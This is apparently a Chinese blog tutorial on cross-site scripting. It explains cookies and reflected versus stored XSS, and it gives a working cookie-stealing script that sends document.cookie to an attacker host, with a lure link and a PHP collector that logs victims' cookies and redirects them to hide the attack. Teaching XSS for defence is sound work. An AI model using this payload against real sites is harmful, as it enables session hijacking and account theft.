渗透测试

【渗透测试基础-1】渗透测试方法论及渗透测试流程 目录1 渗透测试方法论1.1 渗透测试方法论的定义1.2 渗透测试的种类1.2.1 黑盒测试1.2.2 白盒测试1.3 脆弱性评估与渗透测试2 安全测试方法论3 渗透测试流程3.1 渗透测试执行标准PTES3.2 通用渗透测试框架3.2.1 范围界定3.2.2 信息搜集3.2.3 目标识别3.2.4 服务枚举3.2.5 漏洞映射3.2.6 社会工程学3.2.7 漏洞利用3.2.8 权限提升3.2.9 访问维护3.2.10 文档报告3.3 简化渗透测试流程4 归 阅读详情

XSS漏洞

XSS又叫CSS(Cross Site Scripting),起名为XSS主要是为了不与html中的CSS冲突。它是一种跨站脚本攻击,是最常见的Web应用程序安全漏洞。
XSS是指攻击者通过在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览这个被嵌入恶意代码的网页时,恶意代码会在用户浏览器执行,达到攻击目的。

Victim

受害者:客户(注:“不要以为和你的网站没有关系,你的管理员本质也是一个客户”)

名词解读

Cookie(如果嫌太长,可以直接看图)

For instance, 每个懒人(我也是)都希望不用每次浏览一个网页就要输入密码,而且由于我们现在所通用的HTTP协议本质上是一个无状态协议,这其实意味着每次我们访问一个页面时,服务器并不知道你曾经访问过,它会将每次request都当做一次新的请求。这时候Cookie应运而生,它是由服务器生成的一个标识符。当你第一次请求网站时,服务器会在发给你的response消息中添加一个Cookie头,这个Cookie对应是一对一的映射,你的浏览器接受到这个消息后,会将这个Cookie保存在你的电脑的某个位置,当你下次访问这个网站时,它会自动将你的Cookie发送到服务器端。

这里写图片描述

分类

  1. 反射型XSS
  2. 存储型XSS

反射型XSS

反射型XSS也叫非持久性XSS,是现在最容易出现的一种XSS漏洞(注:还是有好多人看不起“反射型XSS,因为它需要诱惑用户去点击,很多人认为自己没这么傻。。。但是事实是:大部分的攻击方法都是来自社会工程学,所以其实我们就是这么傻。。)。反射,顾名思义就是服务器收到客户端发的带有恶意代码的消息后,不做任何处理,将这个带有恶意代码的消息原封不动地发给客户端。这样,脚本就会在客户端执行。看到这,或许有写小伙伴就迷惑了:为什么我们不直接让恶意脚本在客户端执行呢?答案就是””””””’:请看下一段!!!

之所以我们要“多次一举”,是因为浏览器的Cookie机制:我们的浏览器只允许Cookie的来源方(也就是发送Cookie的服务器),才有权利对这个网站的Cookie进行读写等操作。那就意味着只有我们想办法让服务器将这个恶意代码发给浏览器,浏览器才能执行对这个Cookie的读写操作。本质就是我们的独立管理,例如,你只会听你父母的话,而不会听别人父母的话。

这段话听着可能有点绕,其实仔细想想,不难理解:假如浏览器允许每个人发来的页面都可以对Cookie进行操作,那岂不是要乱套了,我随便构造一个消息,脚本里写的是“把你的所有Cookie发给我”,如果浏览器执行了这个脚本,那…….还谈什么安全。就比如:我让你把你的所有密码都告诉我,你会傻乎乎的告诉我么….

具体实施(原谅我的盗图..)

反射型

攻击者构造的网页链接内容)(http://www.atttack.com/hacker.php)

<a href = "http://www.server.com/talk.php? x='[将下面的恶意脚本放在这里]'/>刺激小视频</a>

攻击者构造的恶意脚本内容(将这个脚本内容内嵌到上面网页链接里)

<script>
var cookie = document.cookie;               //获取cookie
var a =document.createElement('a');        //创建一个标签
a.href='http://www.attack.com/attack.php?'+cookie;   //攻击者主机
a.innerHTML="<img src='a.jpg'>";        //迷惑图片
document.body.appendChild(a);              //将标签添加到页面中
</script>

攻击者本地的文件(attack.php)

<?php

$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$ip = getenv ('REMOTE_ADDR'); //远程主机IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 时:分:秒”的格式显示时间
$referer=getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //写入文件
fclose($fp); //关闭文件

header("Location: http://www.baidu.com")//重定向到baidu,防止发现
?>

存储型XSS

存储型XSS又被称为持久性XSS,是最危险的一种跨站脚本。存储型XSS是将恶意脚本上传到网站,网站对客户发的消息不加以过滤,直接保存,类似论坛等网页,新浪微博就曾在2011年被爆出过这种漏洞。。每次用户浏览这个网页时都会加载这个恶意脚本,从而达到攻击者目的。

允许用户存储数据的WEB应用程序都可能存在存储型XSS漏洞,当攻击者提交一段XSS代码后,被服务器接受并直接存储。只要下次有客户进入这个页面时,服务器就会把这段带有xss的代码发给客户端浏览器,从而导致代码被执行,造成XSS存储型攻击。

具体实施:

这里写图片描述

自动渗透测试与手动渗透测试 整合自动和手动渗透测试对于制定强大的 IT 安全策略至关重要。 阅读详情

相关推荐

kail之MSF渗透测试

kail之MSF渗透测试实战 本文目录kail之MSF渗透测试实战kail问题解答及msf初识什么是MSF专业术语基本使用目录结构如何更新MSF基本命令MSF渗透测试一MSF渗透测试二MSF渗透测试三MSF后期攻击使用方法(渗透测试4~6)MSF渗透测试七MSF渗透测试八MSF渗透测试九MSF渗透测试十payload1payload2 kail问题解答及msf初识 Kali问题解答 kail...

温柔小薛的博客 3531

打造属于自己的渗透浏览器

一些好用的火狐浏览器插件

m0_58030673的博客 1325

渗透测试及流程

手动渗透测试是由人类完成的测试。在此类测试中,机器的脆弱性和风险由专家工程师进行测试。通常,测试工程师执行以下方法 -数据收集- 数据收集在测试中起着关键作用。可以手动收集数据,也可以使用在线免费提供的工具服务(如网页源代码分析技术等)。这些工具有助于收集表名、数据库版本、数据库、软件、硬件甚至不同第三方插件等信息漏洞评估- 收集数据后,它可以帮助测试人员识别安全漏洞并采取相应的预防措施。实际利用- 这是专家测试人员用来对目标系统发起攻击的典型方法,同样可以降低攻击风险。报告准备。

qq_34657922的博客 4145

渗透测试实用浏览器插件推荐

传送门 https://mp.weixin.qq.com/s/h0j18tXHSFLdui6Rand45w

Ewige的博客 865

关于渗透测试,你需要知道的一切

本文将讨论什么是渗透测试?为什么需要进行渗透测试?以及如何安全有效地进行测试。还将提供渗透测试方法的清单,以便确保充分利用渗透测试过程。 什么是渗透测试? 渗透测试(Pentesting)是一种通过模拟外部恶意人员或黑客的攻击来评估计算机系统安全性的技术。其目的是识别任何漏洞,以便在真正的网络攻击者利用它们之前修复它们。渗透测试通常被称为“道德黑客攻击”,因为它们在获得企业许可的情况下使用与网络攻击者相同的技术,这样企业就会知道自身弱点在哪里,以及对外部恶意攻击的防御能力有多强。例如:如果有人能够通

m0_63052740的博客 4627

神行-网侦(渗透)便携浏览器(1).rar

神行-网侦(渗透)便携浏览器(1).rar

渗透测试概述与流程

渗透测试概述 渗透测试是一种通过模拟攻击的技术与方法,挫败目标系统的安全控制措施并获得控制访问权的安全测试方法。 网络渗透测试主要依据CVE已经发现的安全漏洞,模拟入侵者的攻击方法对网站应用、服务器系统和网络设备进行非破坏性质的攻击性测试。 CVE CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。 渗透测试的目的 侵入系统获取机密信息,并将入侵的过程和细节产生报告提供给用户,由此确定用户系统存在的安全威胁,并能提醒安全管理员完善安全策略,降低安全风

weixin_59872639的博客 1万+

Hi3559AV100制作ext4文件系统和烧录emmc

1、首先生成所需文件系统,见本博客&lt;Hi3559AV100文件系统制作cramfs&gt;。 2、使用工具生成EXT4文件系统 ./make_ext4fs -s -l 96M rootfs_hi3559av100.ext4 ./rootfs 3、烧录文件系统 mw.b 0x82000000 ff 0x12C00000;tftp 0x82000000 STM_...

阿Sir问道 7037

『渗透测试基础』| 什么是渗透测试?有哪些常用方法?如何开展?测试工具有哪些?优势在哪里?

渗透测试是指由专业的安全人员模拟黑客,从系统可能存在的漏洞位置进行攻击测试,找到隐藏的安全漏洞,从而达到保护系统安全的目的;书中有一个例子说的非常不错:把软件系统比喻一座房子,房子建好后会配备一些安全措施,比如防盗门、安全警报等。一般情况,我们认为这已经足够安全,但我们不能十分确认入侵者会使用怎样的方式找到漏洞,从而攻击我们的安全防线。为了保护房子足够安全,我们会聘请外部的安全专家进行一系列的检测,比如检测防盗门是否牢固,窗户是否容易被侵入等等,发现这个房子是否存在漏洞,确保房子的安全性。

虫无涯的博客 8320

抖音风控参数‘bd-ticket-guard-client-data’深度解析:从X.509证书到请求签名的完整链路

本文深度解析抖音风控参数‘bd-ticket-guard-client-data’的技术实现,从X.509证书体系到请求签名的完整安全链路。通过Python代码示例,揭示证书生成、签名算法及票据封装等核心机制,帮助开发者理解现代平台风控系统的多层防御架构设计。

weixin_42525738的博客 436

保姆级教程:用VESTA软件5分钟搞定纳米颗粒Wulff Construction建模(以Au金为例)

本文提供了一份详细的VESTA软件教程,指导用户如何在5分钟内完成纳米颗粒Wulff Construction建模,特别以金(Au)为例。从环境搭建、基础晶体结构创建到Wulff Construction设置和可视化优化,涵盖了全流程操作步骤和常见问题解决方案,适合科研新手快速上手。

weixin_29311017的博客 436

渗透测试的学习指南

文章目录一,网络渗透测试概况1.1定义1.2方法1.3渗透测试的目标1.4渗透测试的流程1.5漏洞发掘 二,常用的工具系统和名词解释2.1 名词解释和一些经典工具2.2 Kali linux2.3 metasploit 一,网络渗透测试概况 1.1定义 针对目标网络进行安全检测的评估,目的是发现目标网络存在的漏洞以及安全机制方面的隐患并提出改善方法。通常采用与黑客相同的方式对目标进行入侵。 ...

Z_Grant的博客 2939

打穿内网之Vulntarget-a靶场实战记录

内容包括:通达OA未授权上传+文件包含RCE、Redis未授权写马、ms17-010永恒之蓝、代理转发内网跳板、CVE-2020-1472 域控杀器Zerologon、wmiexec/smbexec横向移动、cobalt strike与msf的shell传递

tpaer的博客 3033

渗透测试方法论

文章目录渗透测试方法论2.1 渗透测试的种类2.1.1 黑盒测试2.1.2 白盒测试2.2 脆弱性评估与渗透测试2.3 安全测试方法论2.3.1 开源安全测试方法论(OSSTMM)2.3.2 信息系统安全评估框架2.3.3 开放式Web应用程序安全项目2.3.4 Web应用安全联合威胁分类2.4 渗透测试执行标准2.5 通用渗透测试框架2.5.1 范围界定2.5.2 信息收集2.5.3 目标识别2.5.4 服务枚举2.5.5 漏洞映射2.5.6 社会工程学2.5.7 漏洞利用2.5.8 提升权限2.5.9

Sumarua的博客 8227

ubuntu22.04降级安装CUDA11.3

ubuntu22.04原CUDA12.1降级安装11.3

gls_nuaa的博客 1779

【Go语言实战】(26) 分布式搜索引擎

基于go语言的分布式搜索引擎

面向生活编程 2380

渗透测试概述·什么是渗透测试

渗透测试(penetration test,pentest)是实施安全评估(即审计)的具体手段。渗透测试可能是单独进行的一项工作,也可能是常规研发生命周期(例如,Microsoft SDLC)里 IT 安全风险管理的一个组成部分。产品的安全性并不完全取决于 IT 方面的技术因素,还会受到与该产品有关的最佳安全实践的影响。具体而言,增强产品安全性的工作涉及安全需求分析、风险分析、威胁建模、代码审查和运营安全。通常认为,渗透测试是安全评估最终的也是最具侵犯性的形式,它必须由符合资质的专业人士实施。

liuhyusb的博客 1839

CesiumJS【Basic】- #002 加载在线瓦片地图数据

cesiumjs 加载各类在线地图数据

AlanL的专栏 954

渗透测试基础,初识渗透测试

1、脚本(asp、php、jsp)3、HTTP协议4、CMS内容管理系统(B/S)5、MD5/加盐(salt)6、肉鸡、抓鸡、DDOS、cc(耗费自己的CPU资源分配代理服务器)7、一句话、小马、大马webshell、提权、后门、跳板、rookit8、源码打包、脱裤、暴库9、嗅探、rookit、社工11、src平台、0day12、事件型漏洞,通用型漏洞13、web服务器、web容器、中间件。

大河之犬的博客 4297

Python爬虫实战:实时爬取东方财富网股票行情

东方财富网实时行情(价格、涨跌幅、成交量等)K线图、分时图、技术指标市盈率、换手率、总市值等指标相比某些收费API,东方财富网页端接口不需要登录、免费、响应快、封装清晰,适合爬虫实践。东方财富网股票数据接口分析实时数据抓取与字段提取数据结构化处理自动化批量抓取多线程加速采集数据可视化展示支持存储为CSV/Excel/数据库。

2201_76125261的博客 1万+

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Web渗透测试

本章主要概述web常见漏洞原理与危害和渗透测试步骤,流程和方法。

weixin_70095023的博客 3616

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

渗透测试基本流程

1 渗透测试基本流程   渗透测试的基本流程主要分为以下几步:   1. 明确目标   2. 信息收集   3. 漏洞探测(挖掘)   4. 漏洞验证(利用)   5. 提升权限   6. 清除痕迹   7. 事后信息分析   8. 编写渗透测试报告 1.1 明确目标   主要是确定需要渗透资产范围; 确定规则,如怎么去渗透; 确定需求,如客户需要达到一个什么样的效果。 1.2 信息收集   信息收集阶段主要是收集一些基础信息,系统信息,应用信息,版本信息,服务信息,人员信息以及相关防护信息。   信息收

weixin_52790143的博客 2万+

蓝牙模块HM-10手册

蓝牙模块HM-10手册,该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

渗透测试-渗透测试常见的总结

渗透测试常见的总结

lza20001103的博客 5298
上一篇: 计算机网络基础学习系列(二)
下一篇: 你真的会用搜索引擎吗?
Coder_Stephen
博客等级 码龄9年 16粉丝 23原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值